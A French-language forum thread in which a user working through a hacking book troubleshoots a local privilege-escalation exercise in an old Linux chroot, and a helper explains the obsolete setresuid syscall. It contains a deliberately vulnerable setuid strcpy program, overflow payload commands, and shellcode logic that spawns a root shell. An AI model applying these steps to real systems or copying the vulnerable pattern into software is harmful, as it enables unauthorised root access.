Page 1 sur 1
[CAPABILITIES][CHROOT vieux env linux] Comment les virés? (résolu)
Publié : dim. 13 mai 2018, 19:58
par Distag
Bonjour,
Je chroot un environement d'un vieux kernel d'avant Linux 3.1 à cette époque il n'y avait pas de gestion des capabilities par défaut par le kernel.
Pour avoir un environnement identique à l'original, je souhaiterais savoir comment je peux faire pour que dans mon environnement chroot la gestion des capabilities soient désactivés?
Merci d'avance pour vos éventuelles réponses.
Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?
Publié : dim. 13 mai 2018, 20:55
par benjarobin
Bonjour,
Je comprends la question, mais je ne comprends pas le besoin réel... Les capabilities sont stockées au niveau du système de fichier. Si tu es dans un vieux système de fichier, alors les fichiers n'ont aucune capabilities de configuré. Soit par contre bien conscient que bien que tu soit dans un chroot d'un vieux Linux, le kernel qui l’exécute est celui de ton PC, soit sûrement très récent.
Re: [CAPABILITIES][CHROOT vieux env linux] Comment les virés?
Publié : dim. 13 mai 2018, 21:56
par Distag
Je suis un livre sur le hacking, je suis les exemples du bouquin à la lettre. Le besoin est de faire sauter les mesures de protection qui n’avaient pas encore lieu à l’époque de l’écriture du bouquin.
Le paragraphe du bouquin sur lequel je suis
Les sources du bouquin
Dans le cas du problème, voici ce que je fais:
Code : Tout sélectionner
#mon utilisateur s’appelle reader dont id=1000
#games id=5
gcc -z execstack -o drop_privs drop_privs.c #code avec la faille et qui utilise seteuid(5) pour s’exécuter en tant qu’utilisateur games
sudo chown root ./drop_privs
sudo chmod u+s ./drop_privs
./drop_privs $(perl -e 'print "\x80\xde\xff\xff"x40') #ici on fait exécuter le shellcode1, j’obtiens un shell de l’utilisateur games ce qui est normal a ce niveau du livre
./drop_privs $(perl -e 'print "\x74\xde\xff\xff"x40') #ici un shellcode2 identique au premier mais qui devrait exécuter setresuid(0,0,0) en plus, je devrais alors comme sur le livre avoir ouvert un shell de l’utilisateur root, mais ce n’est pas le cas, j’ouvre encore un shell de l’utilisateur games, ce qui n’est pas normal
Ce problème me fait penser aux Capabilities
Et apparemment ce serait peut-être CAP_SETUID qui poserait problème théoriquement ici.
Je n’y connais pas grand-chose en Capabilities, hormis le fait que d’un process root père a un process root fils on peut progressivement faire perdre des droits a tous ses processus root descendants.
Comme les capabilities sont gérés par le noyau et que c’est la plus grosse différence qu’il y ait entre l’environnement d’origine et l’environnement chroot, je suppose que cela vient de là.
Donc voila pourquoi j’aimerais savoir si les capabilities sont activés et savoir comment les désactiver spécifiquement sur cet environnement chroot
Édit: Précision: si a la place du chroot, j’émule l’environnement d’origine avec qemu, je n’ai pas ce problème. Mais cela ne résout pas mon problème, car je préfère utiliser l’environnement chroot
Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?
Publié : dim. 13 mai 2018, 22:57
par benjarobin
J'ai regardé vite fait, et je peux te garantir que ce n'est pas un problème de Capabilities. Car sur le papier ce qui est réalisé est tout à fait possible.
Cela correspond en gros à ce genre de code (qui fonctionne très bien), sauf que toi ton but étant de générer du code (ce genre de code) qui va se retrouver en stack, que tu vas pouvoir exécuter.
Code : Tout sélectionner
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
int r;
usleep(1000 * 1000 * 5);
r = seteuid(2000);
if (r != 0) perror("seteuid");
printf("===\n");
usleep(1000 * 1000 * 5);
r = setresuid(0, 0, 0);
if (r != 0) perror("setresuid");
printf("===\n");
usleep(1000 * 1000 * 5);
return 0;
}
Edit: Ok, le code n'est pas dans la stack, mais dans une variable d'environnement. Je suis assez étonné que cela puisse fonctionner (la première étape).
Edit2: Il te manque pas des étapes ? Mettre le code dans une variable d'environnement ? Récupérer l’adresse de cette variable d'environnement ?
Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?
Publié : dim. 13 mai 2018, 23:26
par Distag
Dans le chroot, j’ai modifié ton code par
Code : Tout sélectionner
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
int r = seteuid(5);
if (r != 0)
perror("seteuid");
printf("euid=%d\n",geteuid());
usleep(1000 * 1000 * 5);
r = setresuid(0, 0, 0);
if (r != 0)
perror("setresuid");
printf("euid=%d\n",geteuid());
return 0;
}
Code : Tout sélectionner
gcc -o test test.c
sudo chown root ./test
sudo chmod u+s ./test
./test
Et j'obtiens
OK Donc ce n'est pas un problème de Capabilities
Il doit y avoir une protection autre part.
Le shellcode n’exécute que:
Code : Tout sélectionner
setresuid(0, 0, 0)
execve("/bin//sh", ["/bin//sh", NULL], [NULL])
À partir de la faille de cette implementation de strcpy
Code : Tout sélectionner
#include <unistd.h>
void lowered_privilege_function(unsigned char *ptr) {
char buffer[50];
seteuid(5); // Drop privileges to games user.
strcpy(buffer, ptr);
}
int main(int argc, char *argv[]) {
if (argc > 0)
lowered_privilege_function(argv[1]);
}
Reponse à l'Edit: C'est tout l'art du shellcode, mais sans gcc -z execstack cela ne marche pas
Réponse à l'Edit2: Je ne l’ai pas mis sur le forum. Mais je fais bien l’export du bon binaire avant. Cela s'execute, mais mon problème c'est que je n'ouvre pas le shell du bon utilisateur
Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?
Publié : lun. 14 mai 2018, 22:07
par Distag
J’ai trouvé un bout de solution, mais je ne comprends totalement.
Code : Tout sélectionner
grep -i setresuid /usr/include/asm-i386/unistd.h
#define __NR_setresuid 164
#define __NR_setresuid32 208
Dans le shellcode qui ne marche pas sur mon chroot, on fait appel au syscall 164, comme implémenté dans le livre et qui marche correctement dans l’environnement d’origine i686 avec Qemu
Dans le shellcode qui marche sur mon chroot, je l’ai remplacé par le syscall 208, ce qui est apparemment compatible avec un i686 émulé en chroot lancé avec "sudo linux32 chroot /mnt /bin/su - reader" sur un x86_64.
man 2 setresuid
[…]
Les appels système setresuid() et setresgid() originaux de Linux ne géraient que des identifiants d’utilisateur et de groupe sur 16 bits.
À partir de Linux 2.4 a été ajouté setresuid32() et setresgid32() qui prennent en charge des identifiants 32 bits.
https://en.wikipedia.org/wiki/User_iden ... onventions
Linux (before version 2.4) supported 16-bit UIDs, making 65536 unique IDs possible.
The majority of modern Unix-like systems (e.g., Solaris-2.0 in 1990, Linux 2.4 in 2001) have switched to 32-bit UIDs, allowing 4,294,967,296 unique IDs.
Code : Tout sélectionner
uname -a #linux32 chroot de l’image i686 avec noyau hôte
Linux archlinux 4.16.8-1-ARCH #1 SMP PREEMPT Wed May 9 11:25:02 UTC 2018 i686 GNU/Linux
uname -a #qemu de l'image i686 avec noyau originel
Linux ubuntu 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux
Mais pourquoi cela marche avec Qemu et l’environnement originel avec setresuid ou setresuid32 alors que sur chroot c'est seulement avec setresuid32?
Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?
Publié : lun. 14 mai 2018, 22:38
par benjarobin
Si tu appelles manuellement le syscall, quel errno et code de retour obtient tu ?
Il suffit d'utiliser la fonction syscall, et de passer correctement les paramètres à celle ci.
Il est tout à fait possible que le support de ce vieux syscall ait été supprimé à un moment donné. Le plus simple est de tester. Je te conseille de tester d'abord avec le nouveau code de syscall en affichant le code de retour et l'errno. Puis si le code fonctionne test avec l'ancien code de syscall... Je mise sur un code d'erreur syscall non supporté ou un truc dans le genre.
Désolé la flemme de chercher ou de tester, et je dois aller dormir...
Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?
Publié : mar. 15 mai 2018, 21:04
par Distag
J’ai écrit cela pour tester
Code : Tout sélectionner
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <errno.h>
#include <stdio.h>
//gcc -o test test.c -Wall; sudo chown root ./test; sudo chmod u+s ./test
int main(void)
{
#ifdef __i386__
printf("__i386__\nSYS_setresuid32:%d\n",SYS_setresuid32);
#endif
#ifdef __x86_64__
printf("__x86_64__\n");
#endif
printf("SYS_setresuid:%d\nSYS_execve:%d\n",SYS_setresuid,SYS_execve);
int ret;
char *filename="/bin//sh";
char *const argv[]={"/bin//sh",NULL};
char *const envp[]={NULL};
//*
seteuid(5);
ret=syscall(SYS_setresuid,0,0,0);
if(ret==-1){perror("Error setresuid: ");return(-1);}
ret=syscall(SYS_execve,filename,argv,envp);
if(ret==-1){perror("Error execve: ");return(-1);}
//*/
/*
seteuid(5);
ret=syscall(SYS_setresuid32,0,0,0);
if(ret==-1){perror("Error setresuid32: ");return(-1);}
ret=syscall(SYS_execve,filename,argv,envp);
if(ret==-1){perror("Error execve: ");return(-1);}
//*/
return 0;
}
Dans le chroot, avec le bloc SYS_setresuid décommenté et SYS_setresuid32 commenté:
Code : Tout sélectionner
__i386__
SYS_setresuid32:208
SYS_setresuid:164
SYS_execve:11
Error setresuid: : Function not implemented
Dans le chroot, avec le bloc SYS_setresuid commenté et SYS_setresuid32 décommenté:
Code : Tout sélectionner
__i386__
SYS_setresuid32:208
SYS_setresuid:164
SYS_execve:11
sh-3.2# whoami
root
sh-3.2# exit
exit
Avec Qemu dans les 2 cas:
Code : Tout sélectionner
__i386__
SYS_setresuid32:208
SYS_setresuid:164
SYS_execve:11
sh-3.2# whoami
root
sh-3.2# exit
exit
Sur l'hote x86 du chroot, avec le bloc SYS_setresuid décommenté et SYS_setresuid32 commenté:
Code : Tout sélectionner
__x86_64__
SYS_setresuid:117
SYS_execve:59
sh-4.4# whoami
root
sh-4.4# exit
exit
Sur l'hote x86 du chroot, avec le bloc SYS_setresuid commenté et SYS_setresuid32 décommenté:
Ne compile pas « SYS_setresuid32 » non déclaré
Comment cela se fait-il que dans le chroot, il connaît le numéro de syscall 164, mais pas son implémentation?
Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?
Publié : mar. 15 mai 2018, 22:08
par benjarobin
Ah, cela fait plaisir d'arriver à deviner le problème, mon intuition était donc bonne
C'est parfaitement logique ce qui se passe:
- Avec un vieux noyaux (testé via qemu), tu as
setresuid32
comme setresuid
de disponible.
- Mais sur un noyau récent, tu n'as plus que
setresuid32
de disponible.
Pourquoi le code compile depuis le chroot, mais ne fonctionne pas ? C'est parfaitement logique, tu as la constante dans un .h, donc le code peut être généré, mais le chroot utilise le kernel de l’hôte, un kernel récent qui ne supporte plus ce vieux syscall.
Donc si veux toujours tester ce SHELLCODE, tu vas devoir modifier l'assembleur du SHELLCODE pour utiliser le nouveau syscall, le compiler, et finalement récupérer le binaire associé...
Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?
Publié : mar. 15 mai 2018, 22:21
par Distag
Sauf que sur l’hôte x86, il n'y a pas de setresuid32() mais un setresuid() ?
Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?
Publié : mar. 15 mai 2018, 22:30
par benjarobin
Attention l’hôte est en 64 bits donc ce n'est pas le même numéro de syscall. Et je pense que le setresuid() d'un linux 64 bits à toujours été l'équivalent d'un setresuid32() d'un linux 32 bits
Re: [CAPABILITIES][CHROOT vieux linux] Comment les virés?
Publié : mar. 15 mai 2018, 22:35
par Distag
OK donc résolu, Merci
Re: [CAPABILITIES][CHROOT vieux env linux] Comment les virés? (résolu)
Publié : mar. 15 mai 2018, 22:39
par benjarobin
Donc tu dois juste changer cette instruction:
Par